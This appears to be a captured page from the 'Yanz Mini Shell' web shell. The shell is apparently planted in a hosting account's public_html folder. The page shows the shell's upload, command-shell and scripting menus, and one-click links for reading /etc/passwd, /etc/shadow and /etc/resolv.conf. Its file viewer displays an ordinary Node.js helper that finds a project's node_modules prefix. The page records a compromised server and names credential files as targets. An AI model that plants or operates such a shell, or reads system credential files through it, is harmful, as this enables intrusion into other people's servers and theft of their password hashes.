Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
timaiewf
public_html
328acf
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
'use strict' // try to find the most reasonable prefix to use module.exports = findPrefix const fs = require('fs') const path = require('path') function findPrefix (dir) { return new Promise((resolve, reject) => { dir = path.resolve(dir) // this is a weird special case where an infinite recurse of // node_modules folders resolves to the level that contains the // very first node_modules folder let walkedUp = false while (path.basename(dir) === 'node_modules') { dir = path.dirname(dir) walkedUp = true } if (walkedUp) { resolve(dir) } else { resolve(findPrefix_(dir)) } }) } function findPrefix_ (dir, original) { if (!original) original = dir const parent = path.dirname(dir) // this is a platform independent way of checking if we're in the root // directory if (parent === dir) return Promise.resolve(original) return new Promise((resolve, reject) => { fs.readdir(dir, (err, files) => { if (err) { // an error right away is a bad sign. // unless the prefix was simply a non // existent directory. if (err && dir === original && err.code !== 'ENOENT') { reject(err) } else { resolve(original) } } else if (files.indexOf('node_modules') !== -1 || files.indexOf('package.json') !== -1) { resolve(dir) } else { resolve(findPrefix_(parent, original)) } }) }) }
Free Space : 116821012480 Byte